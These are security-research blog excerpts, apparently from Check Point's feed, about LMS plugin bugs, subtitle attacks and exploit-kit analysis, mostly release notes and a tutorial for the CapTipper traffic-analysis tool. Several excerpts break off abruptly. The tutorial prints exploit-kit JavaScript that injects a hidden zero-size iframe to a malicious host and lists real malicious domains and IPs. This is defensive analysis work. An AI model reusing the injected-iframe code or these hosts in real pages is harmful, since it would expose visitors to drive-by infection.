The COVID-19 pandemic has changed the way we live and work. “Sheltering in place” requires many people to work from home, thereby necessitating the use of virtual environments. The pandemic has also affected students globally, who are now at home learning via virtual classrooms online. This, in turn, has required many educational establishments to quickly integrate new Learning Management Systems into their platforms.
Learning Management Systems are E-Learning platforms used for delivering educational courses and training programs remotely. Not only university students use LMS; it’s for anyone interested in online learning.
In light of the increasing popularity of these platforms, we decided to audit the security of a few of them. Despite the somewhat shady reputation of WordPress plugins, they are still heavily used and are an integral part of most WordPress websites. This seems to be especially true in the case of Learning Management Systems, in which WordPress websites are the majority of the independent websites offering this service.
The 3 leading WordPress LMS Plugins are: LearnPress, LearnDash, and LifterLMS. These platforms can transform any WordPress website into a fully functioning and easy to use LMS. The 3 systems are installed on more than 100,000 different educational platforms and include universities such as the University of Florida, University of Michigan, University of Washington as well as hundreds of online academies. The impact multiplies as it affects all of the students in all of these establishments.
We focused only on these 3 systems since they seemed to the most impactful in this category. The LMS we researched invested quite a lot of effort in their security and some even implemented a bug bounty program. And indeed, the bugs we found were not trivial and required reaching interesting sinks. Therefore, in addition to notifying the developers, we also decided to share some of them with the security community.
Our approach was to see if a motivated student can accomplish the childhood dream of every hacker – take control of his educational institution, get test answers and even change students’ grades. As we assume some of our readers might not be familiar with web application exploitation, we sorted the bugs in an increasing level of complexity, to make things easier to follow.
During the past 3 years, Check Point Research has invested significant resources into vulnerability research. For every vulnerability we discover, we first notify the vendor and immediately develop new protections which are integrated into the Check Point line of products.
During the course of our vulnerability research, we come across a vast number of bugs, some more interesting than others. Many of the vulnerabilities we discover are also shared publicly in our blog or conference presentations, such as Hacked in Translation, What the FAX?!, and most recent WinRAR 19 year old code execution. However, while some of the vulnerabilities are published, many are not.
The normal practice for publicly disclosing vulnerabilities is to give the relevant vendor 90 days to fix the problem before informing the public, thus allowing users to take the necessary steps to avoid attacks. We find that user awareness plays a major role in the decision to update and patch the environment.
For these reasons, we decided to create the CPR-Zero Repository that includes the majority of the bugs we discover and disclose, even if they are not featured in a particular publication. The repository contains detailed information regarding each bug, including a crash dump, a short explanation and sometimes a POC. This initial bug release includes over 130 critical vulnerabilities; most of their details are not yet released even though they are already patched.
The repository will be ongoing and continually updated upon any new discoveries. The process is not automatic, however, and we reserve the right to not disclose some of the bugs that may be higher risk.
We are proud that Check Point boasts some of the most talented and capable experts in the field, and we strive to stay ahead of malicious actors by developing new research tools, mitigation techniques and identify attack vectors before they do. The vulnerability repository is our latest effort and aims to be a valuable step in notifying users of new risks as well as encouraging vendors to take the necessary steps to continue to provide a risk free user experience when browsing the internet.
Recently, we revealed a new attack vector which threatens millions of users worldwide – attack by subtitles. By crafting malicious subtitle files, which are then downloaded by a victim’s media player, attackers can take complete control over any type of device via vulnerabilities found in many popular streaming platforms, including VLC, Kodi (XBMC), Popcorn-Time and strem.io. We estimate there are approximately 200 million video players and streamers that currently run the vulnerable software, making this one of the most widespread, easily accessed and zero-resistance vulnerability reported in recent years.
What’s the effect?
Scope: The total number of the affected users is in the hundreds of millions. Each of the media players found to be vulnerable to date has millions of users, and we believe other media players could be vulnerable to similar attacks as well. VLC has over 170 million downloads of its latest version alone, which was released June 5, 2016. Kodi (XBMC) has reached over 10 million unique users per day, and nearly 40 million unique users each month. No current estimates exist for Popcorn Time usage, but it’s safe to assume that the number is likewise in the millions.
Damage: By conducting attacks through subtitles, hackers can take complete control over any device running them. From this point on, the attacker can do whatever he wants with the victim’s machine, whether it is a PC, a smart TV, or a mobile device. The potential damage the attacker can inflict is endless, ranging anywhere from stealing sensitive information, installing ransomware, mass Denial of Service attacks, and much more.
Which media players are affected?
To date, we tested and found vulnerabilities in four of the most prominent media players: VLC, Kodi, Popcorn Time and Stremio. We have reason to believe similar vulnerabilities exist in other media players as well. We followed the responsible disclosure guidelines and reported all vulnerabilities and exploits to the developers of the vulnerable media players. Some of the issues were already fixed, while others are still under investigation. To allow the developers more time to address the vulnerabilities, we’ve decided not to publish any further technical details at this point.
How can this attack vector spread?
Delving even further into the subtitle supply chain produced some interesting results. There are a number of shared online repositories, such as OpenSubtitles.org, that index and rank movie subtitles. Some media players download subtitles automatically; these repositories hold extensive potential for attackers. Our researchers were also able to show that by manipulating the website’s ranking algorithm, we could guarantee crafted malicious subtitles would be those automatically downloaded by the media player, allowing a hacker to take complete control over the entire subtitle supply chain, without resorting to a Man in the Middle attack or requiring user interaction. This vulnerability also affects users who use these rankings to decide which subtitles to download manually.
It’s been a while since a pure JavaScript vulnerability was widely used by exploit kits. The last few years mostly gave us IE Use-After-Free vulnerabilities. When those were dealt with by Microsoft’s IsolatedHeap and MemoryProtection mechanisms, introduced in the middle of 2014, the stage was clear for Flash to take over.
Now, as Flash is marching towards its imminent death, Silverlight has been dying for a long time, and Java applets must be signed and played only after the user is prompted, we can expect some new trend to arrive on the scene.
CVE-2015-2419 (Jscript9 Memory Corruption), the subject of our paper, was patched a few months ago, but is still used across most Exploit Kits. However, no satisfying analysis, regarding either its root cause or how to successfully exploit it, has been published. We think an analysis of this kind is needed: First, to see a pure JS exploit for IE 11, despite the heap corruption mitigations in IE mentioned above. Second, unless Microsoft comes up with similar protections for IE’s JS engine, this might be the kickoff for similar exploits as soon as Flash disappears.
We started with a working exploit taken from Rig EK (MD5: 4497f09502758ae82f122b21b17d3644. It looks exactly the same as in Angler EK). It’s heavily obfuscated and tricky, which makes the job of understanding the vulnerability, and the exploit directly from the exploit code, very complicated.
Let’s dig in to the process of analyzing this exploit:
I will be presenting the new CapTipper at BlackHat Arsenal USA this week so stop by and say Hi if you’re around.
Another project we are presenting at BlackHat Arsenal is the CuckooSploit, a joint effort of our entire team at Check Point. Will elaborate on this later.
It is strongly advised to read the first and second version update blog posts in order to have a better understanding of what CapTipper is all about.
I am trying to answer as many requests I can regarding new features to include in CapTipper, the most common one being a plugins infrastructure. So here it is.
Plugins
CapTipper now supports python written plugins that implement the `ConsolePlugin` interface. All plugins should be placed in the “/plugins/” folder and implement the ‘run()’ function, which is the entry point CapTipper uses.
Obviously, the plugin interface has access to all the conversations and hosts datasets.
An extensive explanation and examples on how to write a plugin for CapTipper can be found here.
The main repository of CapTipper already includes some plugins for example and if you have an idea for a plugin, do implement it and send it to me or make a PULL request so I can add it to the repository in order to share new functionalities between CapTipper users.
The command ‘plugin’ enables the use of all loaded plugins.
CT> help plugin Launching an external plugin (alias: p)
usage: plugin [-l] <*args> -l – List all available plugins
examples: plugin find_scripts plugin 1 p find_scripts
List all available plugins:
CT> plugin -l Loaded Plugins (3): 0 : check_host – Checks if a given id’s host is alive 1 : find_scripts – Finds external scripts included in the object body 2 : print_body – Prints the body of a conversation and ungzip if needed
The plugin command can be also used by its alias ‘p’. Each plugin is assigned with a unique ID, so the use of a plugin can be done either by its name or by its ID.
For example, we can use the ‘check_host’ plugin who has the id ‘0’ assigned to it. This plugin receives a conversation id as an argument and checks if the domain hosting that conversation URL is alive. Let’s use the plugin with conversation ’12’:
CT> p 0 12 Checking host grannityrektonaver.co.vu IP:PORT = 173.244.195.17:80 [-] Server is dead
Documentation
Not really a feature but definitely a useful addition to CapTipper. The CapTipper documentation is comprehensive and details all different aspects of CapTipper.
The documentation is hosted on ReadTheDocs and can be found here
Output log
The output log is a new feature that enables recording all commands and results from the CapTipper console.
CT> output /Users/omriher/Temp/Nuclear-110615.txt Logging to /Users/omriher/Temp/Nuclear-110615.txt
The logging only includes data from after using the ‘output’ command. In order to stop logging, use ‘stop’ as the second argument.
CT> output stop Stopped logging to /Users/omriher/Temp/Nuclear-110615.txt
Cuckoo PCAP analysis package
Cuckoo Sandbox is a malware analysis framework used to automatically run and analyse malicious files. CuckooSploit is the second project we are presenting at BlackHat Arsenal, based on Cuckoo Sandbox . CuckooSploit is an environment for comprehensive, automated analysis of web-based exploits.
By using full web emulation on different combinations of OS/browser/plugin version, CuckooSploit increases the rate of malicious URL detection and presents a reliable verdict, and in some cases, CVE detection.
Originally CuckooSploit accepted URLs, and now thanks to CapTipper, also accepts PCAP files. The CuckooSploit integrates CapTipper into it in the form of a new Analysis Package.
The analysis package enables Cuckoo to accept PCAP files for analysis, and use CapTipper to revive them, which enables Cuckoo to produce a full flow report on what exactly happened to the machine (including the payload behavior) when infected by a malicious URL.
The analysis package will work on any Cuckoo instance, and can be found here. CuckooSploit was developed by our team at Check Point, which also includes David Oren, Liran Englender and Ilana Marcus. CuckooSploit is on GitHub and can be found here. The blog post about CuckooSploit will be added soon to Check Point’s blog.
Using Fiddler SAZ files
There is still no support for using SAZ files in CapTipper natively, but it is possible to do so by converting Fiddler SAZ files to PCAP files using the project fiddler2pcap. It uses the python scapy library and some of its dependencies, so it’s best to do the conversion on a linux machine. Also, layer 2 and 3 of the packets aren’t created well using fiddler2pcap but it is easily fixed using tcprewrite.
I added a small bash script that converts all SAZ files in a folder to PCAPs that are readable by CapTipper (Thanks to Yaron Fruchtman).
I made an analysis example video using CapTipper based to the PCAP files used in the two (first and second) previous blog posts regarding CapTipper. https://asciinema.org/a/23792/embed?
Some more changes and bug fixes were made and can be viewed in the change log.
Check Point researchers obtained a sample of a malicious Word document that was used in an attack attempt against one of our customers. The sample itself is a Rich Text Format (RTF) file with a .DOC extension. Recently, there has been a resurgence of the trend to use malicious macro code inside office documents. However, this wasn’t the case here.
We were dealing with a sample created by the MWI (Microsoft Word Intruder) Exploit Kit. MWI is a builder of malicious DOC/RTF files and is accompanied by MWISTAT, a statistics panel which tracks the infections.
In this post I present a deep analysis of the sample, its structure, the different exploit used, mitigations bypass techniques and behaviour.
CapTipper v0.2 is out, and it includes many new features. I’m presenting the new version today at BlackHat Arsenal, you are welcome to come watch if you’re around.
A basic principle for CapTipper’s development is to gather as many useful tools and functions for a researcher under its umbrella. This release introduces quite a few of those, which I hope will help us all save time switching different tools and spend it researching.
If you are not familiar with CapTipper I highly recommend(!) you read the analysis example I presented here, since I am not going to introduce the main usages, rather just the new features.
CapTipper is a python tool to analyze, explore and revive HTTP malicious traffic. CapTipper sets up a web server that acts exactly as the server in the PCAP file, and contains internal tools, with a powerful interactive console, for analysis and inspection of the hosts, objects and conversations found.
The tool provides the security researcher with easy access to the files and the understanding of the network flow, and is useful when trying to research exploits, pre-conditions, versions, obfuscations, plugins and shellcodes.
I was asked by quite a few people to add this ability to CapTipper. These are the currently supported commands:
optional arguments: -h, –help Show this help message and exit -p PORT, –port PORT Set web server port -d FOLDER PATH, –dump FOLDER PATH Dump all files and exit -s, –server-off Disable web server -short, –short-url Display shortened URI paths -r FOLDER PATH, –report FOLDER PATH Create JSON & HTML report -g, –ungzip Automatically ungzip responses -u, –update Update CapTipper to newest version
--dump FOLDERPATH Automatically dump all files from the PCAP. This was mainly made for people using Cuckoo Sandbox that want to fetch the HTML files created along with other new files.
I have taken the liberty to write a basic Cuckoo processing module that dumps all files from the PCAP and outputs to the Cuckoo log if an EXE file was found. It can be found here: CapTipper Cuckoo processing module
--ungzip Automatically ungzip all objects, no need to manually ungzip each object anymore.The generated web-server still responds with the original response in case it was gzipped.
--short-url On some cases the URI paths were very long, making the console view a bit more difficult to inspect.This feature displays the URI paths in a shortened convenient version.
--report FOLDERPATH This is a new and exciting feature for creating HTML & JSON reports.The command will produce both .html and .json files in a given folder. I will elaborate more on this in the following section.
--update Update CapTipper to the current version available on GitHub.
HTML & JSON Report
CapTipper now supports producing HTML reports for convenient view and sharing, and JSON report for post-analysis information gathering by a third party.
An example HTML report of the Nuclear EK PCAP we analyzed in the first post, can be found here: CapTipper HTML Nuclear Report The HTML report includes full flow details, client information, interesting binary data and more…
The report is expected to expand and include more information along with the development of CapTipper’s new abilities.
HTML Report screenshots:
File Type Identification
File Type Identification provides “magic”-like analysis of a file’s content to determine its true payload.
It was very important for me to add this feature, and after spending some time trying to find a file identification library that suits CapTipper’s needs (cross-platform, cross-environment, accepts file stream, and does not require too much dependencies), I came up short and decided to write one myself.
It is titled Whatype. Whatype is an independent file type identification python library. Check out the GitHub repository here: Whatype.
My initial goal was only to use it as part of CapTipper, so currently it only supports ~50 of the most common and relevant file formats: Executables, PDF, JAVA, SWF, Silverlight, HTML, ZIP, and more…
The information is displayed both in the `convs’ list and the `info’ command under `MAGIC’:
As I mentioned earlier, I couldn’t find an existing library to suite my needs. So I would like to use this opportunity to invite the open-source community to contribute to the Whatype project (currently in beta release phase) and help create a broader and more accurate signature base, improve the identification performance and hopefully help serve other developers that encounter the same problem.
PE Info
A basic PE info script. It’s based on the Malware Cookbook PE scanner and displays interesting and suspicious information regarding a binary file.
It also supports using the ‘-p’ argument to identify packers from the PEiD signature database.
CT> peinfo 14 Displaying PE info of object 14 (8.exe) [139264 bytes]:
Version info ================================================================================ Translation: 0x0409 0x04b0 InternalName: ProV FileVersion: 3.07 CompanyName: VSO Software Comments: All rights reserved ProductName: Filmf\xf6rderanstalten ProductVersion: 3.07 OriginalFilename: ProV.exe
Find
The `Find’ command provides regex search (using the Python re library syntax) inside specific/all objects in the PCAP. This is extremely useful when looking for a string structure, domain, scripts and HTML objects.
CT> iframes 0 Searching for iframes in object 0 (0.html)… No Iframes Found
CT>
A redirection is made to rabiorik.ru, but the ‘iframes’ commands didn’t produce any results. (For the sake of this example, let’s still assume an iframe is used). Now let’s launch the PCAP again with auto ungzip, and use the ‘find‘ command to look for the TDS in all files:
CT> find all rabiorik Searching ‘rabiorik’ in all objects:
wlkzkir.cgi [7]: (8,256) : 22 (@RELEASE@) Server at rabiorik.ru Port 80</address></b
Here it is. So why did the ‘iframes’ command come up empty? That’s because ‘iframes’ statically parses the HTML objects in the file, and in this case the iframe is created during run-time.
We can see the domain is being sent to a function called create_frame in object 0, let’s search for it:
CT> find 0 create_frame Searching ‘create_frame’ in object 0 (0.html):
So we found the create_frame function decleration, let’s take a better look at it, and explore it using the new ‘slice’ command.
Slice
Slice displays a specified range of bytes (substring) from a file. Following the previous example, we can examine the “create_frame” javascript function by requesting 256 bytes from its starting position. ‘slice’ accepts the object-id (0), the offset start (50213) and the length (256):
CT> slice 0 50213 256 Displaying 256 of bytes from offset 50213 in object 0 (0.html):
I also included support for “EOB” (End Of Block) detection. This will tell ‘slice‘ to display code until the end of the current block we are looking at, whether it’s a class, a function or a statement (based on braces { }).
The “eob” argument is used instead of the length value, e.g:
CT> slice 0 50213 eob Displaying 334 of bytes from offset 50213 in object 0 (0.html):
If we want to be able to read the code more conviently, we can use the ‘jsbeautify’ command.
JS Beautify
JSBeautify (JavaScript Beautify) reformats the code to be more human-readable, very useful for deep inspection. It accepts a conversation object and create a new one. (The new object can be dumped to the file system):
CT> jsbeautify obj 8 JavaScript Beautify of object 8 (jquery.ui.effect.min.js) successful! New object created: 16
It can also accept the ‘slice’ command introduced in the previous section. Lets use this tool on the “create_frame” function in the javascript code, combined with the ‘slice’ command.
CT> jsbeautify slice 0 50213 512 create_frame(a) { var b = document.getElementById(‘weqe’); if (typeof(b) != ‘undefined’ && b != null) {} else { var c = document.createElement(‘iframe’); c.id = “weqe”; c.style.width = “0px”; c.style.height = “0px”; c.style.border = “0px”; c.frameBorder = “0”; c.style.display = “none”; c.setAttribute(“frameBorder”, “0”); document.body.appendChild(c); c.src = a; return true } } function bdsls4t() { create_frame(“http://rabiorik.ru/wlkzkir.cgi?default”) } try { if (window.attachEvent) { window.attachEvent(‘onload’, bdsls4t) } else { if (window.onload) { var curronload = wi
Now we can easily understand what the “create_frame” function does and how it works.
Objects
The ‘objects’ command will display all of CapTipper’s internal objects (automatic and user created), with basic description and references.
ID – Object ID CID – The Conversation ID assosciated with the object TYPE – Object type created automatically or by the user (body, ungzip, jsbeautify…) NAME – Name of object given by the PCAP or by CapTipper
CT> objects Displaying Objects:
ID CID TYPE NAME —- —– ———– ——– 0 | 0 | body | 0.html 1 | 1 | body | prettyPhoto.css 2 | 2 | body | default.css 3 | 3 | body | style.css 4 | 4 | body | Mississippi-wedding-photographer-Bride-in-field-sully-clemmer-150×150.jpg 5 | 5 | body | Vera-Wang-Fall-2014-Fall-pink-coral-circle-large-flower-150×150.png 6 | 6 | body | feed.png 7 | 7 | body | wlkzkir.cgi 8 | 8 | body | jquery.ui.effect.min.js 9 | 9 | body | TbCAgWPudohEQ 10 | 10 | body | e.html 11 | 11 | body | qtNDDUG.html 12 | 12 | body | ERAnnQG.html 13 | 13 | body | gzgBQVI.html 14 | 14 | body | djIhQ.swf 15 | 15 | body | loader2.exe 16 | 0 | ungzip | ungzip-0.html 17 | 1 | ungzip | ungzip-prettyPhoto.css 18 | 3 | ungzip | ungzip-style.css 19 | 8 | ungzip | ungzip-jquery.ui.effect.min.js 20 | 10 | ungzip | ungzip-e.html 21 | 11 | ungzip | ungzip-qtNDDUG.html 22 | 12 | ungzip | ungzip-ERAnnQG.html 23 | 13 | ungzip | ungzip-gzgBQVI.html 24 | 19 | jsbeautify | jsbeautify-ungzip-jquery.ui.effect.min.js
More new commands: strings – Find strings embedded in binary files. req – Display raw request of a given conversation ungzip all – Ungzip all objects in PCAP update – Update CapTipper to current version from GitHub. clear – Clear the screen
Some refactoring was also done to the project, in order to ease access and allow better usage of CapTipper as a standalone library (not tested yet).
There are many more features to come, any feedback or suggestions are always welcome and much appreciated.
CapTipper is a python tool to analyze, explore and revive HTTP malicious traffic. CapTipper sets up a web server that acts exactly as the server in the PCAP file, and contains internal tools, with a powerful interactive console, for analysis and inspection of the hosts, objects and conversations found.
The tool provides the security researcher with easy access to the files and the understanding of the network flow, and is useful when trying to research exploits, pre-conditions, versions, obfuscations, plugins and shellcodes.
Feeding CapTipper with a drive-by traffic capture (e.g of an exploit kit) displays the user with the requests URI’s that were sent and responses meta-data. The user can at this point browse to http://127.0.0.1/[URI] and receive the response back to the browser. In addition, an interactive shell is launched for deeper investigation using various commands such as: hosts, hexdump, info, ungzip, body, client, dump and more…
[+] Started Web Server on http://localhost:80 [+] Listening to requests…
CapTipper Interpreter Type ‘open <conversation id>’ to open address in browser Type ‘hosts’ to view traffic flow Type ‘help’ for more options
CT>
The Initialization outputs the conversations found between the client and the server in the following format:
[ID] : REQUEST URI -> SERVER RESPONSE TYPE (FILENAME) [SIZE IN BYTES] ID: An assigned Id to the specific conversation REQUEST URI: The URI that was sent to the server in the GET request SERVER RESPONSE TYPE: The content-type returned in the server response header FILENAME: The filename can be a few things: 1) Filename attribute given in the response header 2) Derived from the URI 3) Assigned by CapTipper if couldn’t find any of the above SIZE IN BYTES: Response body size
After Initalization, 2 things occur:
CapTipper creates a pseudo-web server that behaves like the web server in the pcap
An Interpreter is launched
The interpreter contains internal tools for further investigation of the objects in the pcap. Opening a URI in the browser is simply by typing ‘open‘ along with the object id
CT> open 0 CT> log [2015-01-09T18:01:28.878000] 127.0.0.1 : GET / HTTP/1.1
None of the commands (Except ‘open‘) actually requires the server to be running. You can turn off the server by typing ‘server off‘ or by adding -s when calling CapTipper.
Let’s see what can we find out without using the browser.
First, we’ll take a bird’s-eye view on the traffic by using the command ‘hosts’
CT> body 2 Displaying body of object 2 (seedadmin17.html) [256 bytes]:
<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href=”http://grannityrektonaver.co.vu/15c0b14drr9f_1_08282d03fb0251bbd75ff6dc6e317bd9.html”>here</a>.</p> <hr
By deafult, the body command returns the first 256 byte, you can change it by typing body 2 1000 – this will print the first 1000 bytes
We see that object 2, returns a 302 redirection to the infecting host. So our hypothesis was probably true.
Let’s get more information on object 2 by typing ‘info‘:
CT> info 2 Info of conversation 2:
SERVER IP : 108.61.196.84:80 HOST : pixeltouchstudios.tk URI : /seedadmin17.html REFERER : http://www.magmedia.com.au/ RESULT NUM : 302 Found RESULT TYPE : text/html FILE NAME : seedadmin17.html LENGTH : 354 B
The referrer to that page was of course magmedia.co.au, but what exactly redirected us?
By looking at the conversations it was probably either the index page or the javascript file. Let’s have a quick peek at the javascript file (object 1)
CT> body 1 Displaying body of object 1 (jquery.js) [256 bytes]:
CT> ungzip 1 GZIP Decompression of object 1 (jquery.js) successful! New object created: 15
Great. a new object was created (15). Let’s look at it.
CT> body 15 Displaying body of object 15 (ungzip-jquery.js) [256 bytes]:
/* Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/ */ function getCookie(a){var b=document.cookie.match(new RegExp(“(?:^|; )”+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return b?decodeU RIComponent(b[1]):undefined}(funct
So this is the ungzipped version of the JS file. Remember, we want to find out what redirected us to the TDS, Safe to assume it was an iframe, so let’s search for iframes in the new object using the command ‘iframes‘
CT> iframes 15 Searching for iframes in object 15 (ungzip-jquery.js)… 1 Iframe(s) Found!
So what do we have here… looks like we have 1 PDF file, 2 SWF files, and 4 EXE files that were probably downloaded by the shellcode.
We can dump all the files to a folder for deeper inspection using the ‘dump‘ function, we can add ‘-e‘ to refrain from dumping the EXE files, so we won’t accidentally launch them.
CT> dump all c:\NuclearFiles -e Object 0 written to c:\NuclearFiles\0-0.html Object 1 written to c:\NuclearFiles\1-jquery.js Object 2 written to c:\NuclearFiles\2-seedadmin17.html Object 3 written to c:\NuclearFiles\3-15c0b14drr9f_1_08282d03fb0251bbd75ff6dc6e317bd9.html Object 4 written to c:\NuclearFiles\4-MetroWest_COVER_Issue2_Feb2014.jpg Object 5 written to c:\NuclearFiles\5-3000melbourne.png Object 6 written to c:\NuclearFiles\6-3207portmelbourne.png Object 7 written to c:\NuclearFiles\7-background1.jpg Object 8 written to c:\NuclearFiles\8-00015d76.swf Object 9 written to c:\NuclearFiles\9-XykpdWhZZ2.pdf Object 13 written to c:\NuclearFiles\13-00015d76.swf Object 15 written to c:\NuclearFiles\15-ungzip-jquery.js
As you can see, it also dumps the newly created ungzipped javascript file.
We can also examing the files using CapTipper. Let’s take a look at the first SWF file using ‘hexdump‘.
CT> hexdump 8 Displaying hexdump of object 8 (00015d76.swf) body [256 bytes]:
Well it seems that this is actually a Silverlight exploit. Now we can dump it with it’s real extension:
CT> dump 13 c:\NuclearFiles\Silver_exp.xap Object 13 written to c:\NuclearFiles\Silver_exp.xap
We can also send the file’s md5 hash to VirusTotal to see if it is recognized by any of the Anti-Virus providers, using the command ‘vt‘. These requires a VirusTotal public API key. (The file itself isn’t sent to VT, only the hash of the file is sent!)
CT> vt 13 VirusTotal result for object 13 (00015d76.swf):
Detection: 37/56 Last Analysis Date: 2014-12-11 13:15:33 Report Link: https://www.virustotal.com/file/5bcb20f506ce854eb3191ca87a14c5777cdcb0f96ffec0b6…
From our company’s blog (Check Point Software Technologies):
In recent years, exploit-kits have become one of the most common platforms for malware distribution.
One of the exploits coming from Infinity exploit-kit exploits a security vulnerability in Microsoft Silverlight.
Compared to other technologies like Java, PDF, Flash, etc. – Silverlight exploits are less common. Just to get a rough feeling, according to cvedetails.com, from 2010 to 2014, 15 vulnerabilities were reported for Microsoft Silverlight , while Adobe Acrobat Reader had 268 vulnerabilities, Adobe Flash Player had 321 vulnerabilities; Microsoft Internet Explorer had 392 vulnerabilities and Java with at least 358 vulnerabilities. However, Microsoft Silverlight exploits, specifically CVE-2013-0074, are still delivered in active and well known exploit kits.
The blog post, including analysis PDF is availble here: